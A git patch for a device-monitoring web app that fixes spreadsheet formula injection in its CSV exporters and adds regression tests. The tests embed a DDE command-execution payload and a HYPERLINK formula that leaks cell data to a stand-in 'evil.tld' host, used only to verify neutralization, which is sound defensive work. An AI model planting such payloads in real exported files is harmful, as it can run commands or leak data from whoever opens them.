From a5bca8a7307c5a750557a03bfbc709bbe769c578 Mon Sep 17 00:00:00 2001 From: Oliver Kieselbach Date: Sun, 30 Aug 2026 17:54:40 +0200 Subject: [PATCH] =?UTF-8?q?fix(web):=20CSV=20exports=20neutralize=20spread?= =?UTF-8?q?sheet=20formula=20triggers=20in=20device-controlled=20cells=20(?= =?UTF-8?q?CWE-1236)=20=E2=80=94=20generateCsvExport/generateSessionCsvExp?= =?UTF-8?q?ort/generateRuleResultsCsvExport=20only=20doubled=20quotes,=20s?= =?UTF-8?q?o=20an=20event=20Message,=20EventType,=20Source,=20DataJson,=20?= =?UTF-8?q?DeviceName,=20SerialNumber,=20FailureReason=20or=20rule=20expla?= =?UTF-8?q?nation=20starting=20with=20=3D,=20+,=20-,=20@,=20tab=20or=20CR?= =?UTF-8?q?=20was=20evaluated=20as=20a=20formula=20(HYPERLINK/WEBSERVICE?= =?UTF-8?q?=20exfiltration,=20DDE)=20when=20a=20tenant=20admin=20opened=20?= =?UTF-8?q?the=20exported=20CSV=20or=20the=20operator=20opened=20the=20pro?= =?UTF-8?q?blem-report=20attachment;=20shared=20csvCell()=20now=20prefixes?= =?UTF-8?q?=20such=20cells=20with=20an=20apostrophe=20in=20addition=20to?= =?UTF-8?q?=20quoting,=20with=20regression=20tests=20for=20the=20DDE/HYPER?= =?UTF-8?q?LINK=20payloads=20and=20all=20three=20exporters?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Fable 5 --- .../__tests__/sessionExportUtils.test.ts | 68 ++++++++++ .../utils/sessionExportUtils.ts | 128 ++++++++++-------- 2 files changed, 137 insertions(+), 59 deletions(-) create mode 100644 src/Web/autopilot-monitor-web/utils/__tests__/sessionExportUtils.test.ts diff --git a/src/Web/autopilot-monitor-web/utils/__tests__/sessionExportUtils.test.ts b/src/Web/autopilot-monitor-web/utils/__tests__/sessionExportUtils.test.ts new file mode 100644 index 00000000..b7b09286 --- /dev/null +++ b/src/Web/autopilot-monitor-web/utils/__tests__/sessionExportUtils.test.ts @@ -0,0 +1,68 @@ +import { describe, it, expect } from "vitest"; +import { + csvCell, + generateCsvExport, + generateSessionCsvExport, + generateRuleResultsCsvExport, + type SessionExportEvent, + type SessionCsvData, +} from "../sessionExportUtils"; + +// CWE-1236: device-originated strings must reach the spreadsheet as inert text. +describe("csvCell", () => { + it.each(["=", "+", "-", "@", "\t", "\r"])("neutralizes a leading %j", (ch) => { + expect(csvCell(`${ch}1+1`)).toBe(`"'${ch}1+1"`); + }); + + it("neutralizes DDE / HYPERLINK payloads", () => { + expect(csvCell("=cmd|' /C calc'!A0")).toBe(`"'=cmd|' /C calc'!A0"`); + expect(csvCell('=HYPERLINK("https://evil.tld/x?"&A1,"x")')).toBe( + `"'=HYPERLINK(""https://evil.tld/x?""&A1,""x"")"` + ); + }); + + it("leaves ordinary values untouched apart from quoting", () => { + expect(csvCell("Hello world")).toBe('"Hello world"'); + expect(csvCell('say "hi"')).toBe('"say ""hi"""'); + expect(csvCell("")).toBe('""'); + expect(csvCell(undefined)).toBe('""'); + expect(csvCell("a=b")).toBe('"a=b"'); + }); +}); + +describe("CSV exports neutralize device-controlled fields", () => { + it("event export", () => { + const ev: SessionExportEvent = { + eventId: "e1", sessionId: "s1", tenantId: "t1", timestamp: "2026-01-01T00:00:00Z", + eventType: "=evil", severity: "Info", source: "+src", phase: 0, + message: "=1+1", sequence: 1, data: { k: "v" }, + }; + const row = generateCsvExport([ev]).split("\n")[1]; + expect(row).toContain(`"'=evil"`); + expect(row).toContain(`"'+src"`); + expect(row).toContain(`"'=1+1"`); + expect(row).not.toMatch(/,"[=+\-@]/); + }); + + it("session export", () => { + const s: SessionCsvData = { + sessionId: "s1", tenantId: "t1", serialNumber: "-SN", deviceName: "@dev", + manufacturer: "=M", model: "+Mod", startedAt: "2026-01-01T00:00:00Z", + currentPhase: 0, status: "Failed", eventCount: 0, failureReason: "=cmd|' /C calc'!A0", + durationSeconds: 0, diagnosticsBlobName: "=blob", + }; + const row = generateSessionCsvExport(s).split("\n")[1]; + expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/); + expect(row).toContain(`"'=cmd|' /C calc'!A0"`); + }); + + it("rule results export", () => { + const row = generateRuleResultsCsvExport([{ + resultId: "r", sessionId: "s", tenantId: "t", ruleId: "R", ruleTitle: "T", + severity: "High", category: "C", confidenceScore: 1, explanation: "=exp", + remediation: [], relatedDocs: [], matchedConditions: { x: 1 }, detectedAt: "2026-01-01T00:00:00Z", + }]).split("\n")[1]; + expect(row).toContain(`"'=exp"`); + expect(row).not.toMatch(/(^|,)"[=+\-@\t\r]/); + }); +}); diff --git a/src/Web/autopilot-monitor-web/utils/sessionExportUtils.ts b/src/Web/autopilot-monitor-web/utils/sessionExportUtils.ts index 1a1a8c7a..7d458ce4 100644 --- a/src/Web/autopilot-monitor-web/utils/sessionExportUtils.ts +++ b/src/Web/autopilot-monitor-web/utils/sessionExportUtils.ts @@ -40,10 +40,22 @@ export const SEVERITY_INT: Record = { Trace: -1, Debug: 0, Info: 1, Warning: 2, Error: 3, Critical: 4 }; +/** + * Quote a CSV cell and make untrusted content inert for spreadsheet consumers (CWE-1236). + * Excel/LibreOffice unquote the cell and then evaluate a leading `=`, `+`, `-`, `@` + * (and tab/CR-led cells) as a formula — device-originated strings (event message, + * device name, serial, failure reason, ...) must never reach a cell in that shape. + * A leading apostrophe forces text interpretation; embedded quotes are doubled. + */ +export function csvCell(v: string | number | boolean | undefined | null): string { + const raw = String(v ?? ""); + const neutralized = /^[=+\-@\t\r]/.test(raw) ? `'${raw}` : raw; + return `"${neutralized.replace(/"/g, '""')}"`; +} + export function generateCsvExport(events: SessionExportEvent[]) { const isV1 = events.some(e => e.phase === 2); const phaseNames = isV1 ? EXPORT_V1_PHASE_NAMES : EXPORT_V2_PHASE_NAMES; - const esc = (v: string) => `"${v.replace(/"/g, '""')}"`; // Sort exactly as Azure Table Storage: by timestamp ascending, then sequence ascending const sorted = [...events].sort((a, b) => { const tCmp = (a.timestamp ?? "").localeCompare(b.timestamp ?? ""); @@ -59,21 +71,21 @@ export function generateCsvExport(events: SessionExportEvent[]) { const sevInt = SEVERITY_INT[sev] ?? SEVERITY_INT[sev.charAt(0).toUpperCase() + sev.slice(1).toLowerCase()]; const severityCell = sevInt !== undefined ? `${sev} (${sevInt})` : sev; return [ - esc(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`), - esc(e.rowKey ?? ""), - esc(e.eventId ?? ""), - esc(e.sessionId ?? ""), - esc(e.tenantId ?? ""), - esc(e.timestamp ?? ""), - esc(e.receivedAt ?? ""), - esc(e.eventType ?? ""), - esc(severityCell), - esc(e.source ?? ""), + csvCell(`${e.tenantId ?? ""}_${e.sessionId ?? ""}`), + csvCell(e.rowKey ?? ""), + csvCell(e.eventId ?? ""), + csvCell(e.sessionId ?? ""), + csvCell(e.tenantId ?? ""), + csvCell(e.timestamp ?? ""), + csvCell(e.receivedAt ?? ""), + csvCell(e.eventType ?? ""), + csvCell(severityCell), + csvCell(e.source ?? ""), String(e.phase ?? 0), - esc(e.message ?? ""), + csvCell(e.message ?? ""), String(e.sequence ?? 0), - esc(e.data ? JSON.stringify(e.data) : ""), - esc(phaseNames[e.phase] ?? "Unknown"), + csvCell(e.data ? JSON.stringify(e.data) : ""), + csvCell(phaseNames[e.phase] ?? "Unknown"), ].join(","); }); return "\uFEFF" + header + "\n" + rows.join("\n"); @@ -123,52 +135,51 @@ export interface SessionCsvData { } export function generateSessionCsvExport(session: SessionCsvData): string { - const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`; // Columns mirror the Sessions Azure Table Storage schema // PartitionKey = TenantId, RowKey = SessionId // Newer fields are APPENDED (never inserted) so the column prefix stays stable // for anything parsing older exports. const header = "PartitionKey,RowKey,SerialNumber,DeviceName,Manufacturer,Model,OsName,OsBuild,OsDisplayVersion,OsEdition,OsLanguage,IsUserDriven,IsPreProvisioned,StartedAt,CompletedAt,AgentVersion,EnrollmentType,CurrentPhase,Status,EventCount,FailureReason,LastEventAt,DurationSeconds,DiagnosticsBlobName,RebootCount,FailureSource,ReconcileReason,AdminMarkedAction,ValidatedBy,IsHybridJoin,IsSelfDeployingProfile,ConnectionType,GeoCountry,GeoRegion,GeoCity,AvgApiLatencyMs,ApiRequestCount,StalledAt,FailureSnapshotJson,IsCloudPc"; const row = [ - esc(session.tenantId), - esc(session.sessionId), - esc(session.serialNumber), - esc(session.deviceName), - esc(session.manufacturer), - esc(session.model), - esc(session.osName), - esc(session.osBuild), - esc(session.osDisplayVersion), - esc(session.osEdition), - esc(session.osLanguage), + csvCell(session.tenantId), + csvCell(session.sessionId), + csvCell(session.serialNumber), + csvCell(session.deviceName), + csvCell(session.manufacturer), + csvCell(session.model), + csvCell(session.osName), + csvCell(session.osBuild), + csvCell(session.osDisplayVersion), + csvCell(session.osEdition), + csvCell(session.osLanguage), String(session.isUserDriven ?? ""), String(session.isPreProvisioned ?? ""), - esc(session.startedAt), - esc(session.completedAt), - esc(session.agentVersion), - esc(session.enrollmentType), + csvCell(session.startedAt), + csvCell(session.completedAt), + csvCell(session.agentVersion), + csvCell(session.enrollmentType), String(session.currentPhase ?? ""), - esc(session.status), + csvCell(session.status), String(session.eventCount ?? ""), - esc(session.failureReason), - esc(session.lastEventAt), + csvCell(session.failureReason), + csvCell(session.lastEventAt), String(session.durationSeconds ?? ""), - esc(session.diagnosticsBlobName), + csvCell(session.diagnosticsBlobName), String(session.rebootCount ?? ""), - esc(session.failureSource), - esc(session.reconcileReason), - esc(session.adminMarkedAction), - esc(session.validatedBy), + csvCell(session.failureSource), + csvCell(session.reconcileReason), + csvCell(session.adminMarkedAction), + csvCell(session.validatedBy), String(session.isHybridJoin ?? ""), String(session.isSelfDeployingProfile ?? ""), - esc(session.connectionType), - esc(session.geoCountry), - esc(session.geoRegion), - esc(session.geoCity), + csvCell(session.connectionType), + csvCell(session.geoCountry), + csvCell(session.geoRegion), + csvCell(session.geoCity), String(session.avgApiLatencyMs ?? ""), String(session.apiRequestCount ?? ""), - esc(session.stalledAt), - esc(session.failureSnapshotJson), + csvCell(session.stalledAt), + csvCell(session.failureSnapshotJson), String(session.isCloudPc ?? ""), ].join(","); return "\uFEFF" + header + "\n" + row; @@ -191,26 +202,25 @@ export interface RuleResultCsvData { } export function generateRuleResultsCsvExport(results: RuleResultCsvData[]): string { - const esc = (v: string | undefined | null) => `"${String(v ?? "").replace(/"/g, '""')}"`; // Columns match the RuleResults Azure Table Storage schema exactly // PartitionKey = TenantId_SessionId, RowKey = RuleId const header = "PartitionKey,RowKey,ResultId,SessionId,TenantId,RuleId,RuleTitle,Severity,Category,ConfidenceScore,Explanation,RemediationJson,RelatedDocsJson,MatchedConditionsJson,DetectedAt"; const rows = results.map(r => [ - esc(`${r.tenantId}_${r.sessionId}`), - esc(r.ruleId), - esc(r.resultId), - esc(r.sessionId), - esc(r.tenantId), - esc(r.ruleId), - esc(r.ruleTitle), - esc(r.severity), - esc(r.category), + csvCell(`${r.tenantId}_${r.sessionId}`), + csvCell(r.ruleId), + csvCell(r.resultId), + csvCell(r.sessionId), + csvCell(r.tenantId), + csvCell(r.ruleId), + csvCell(r.ruleTitle), + csvCell(r.severity), + csvCell(r.category), String(r.confidenceScore ?? ""), - esc(r.explanation), - esc(r.remediation ? JSON.stringify(r.remediation) : ""), - esc(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""), - esc(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""), - esc(r.detectedAt), + csvCell(r.explanation), + csvCell(r.remediation ? JSON.stringify(r.remediation) : ""), + csvCell(r.relatedDocs ? JSON.stringify(r.relatedDocs) : ""), + csvCell(r.matchedConditions ? JSON.stringify(r.matchedConditions) : ""), + csvCell(r.detectedAt), ].join(",")); return "\uFEFF" + header + "\n" + rows.join("\n"); }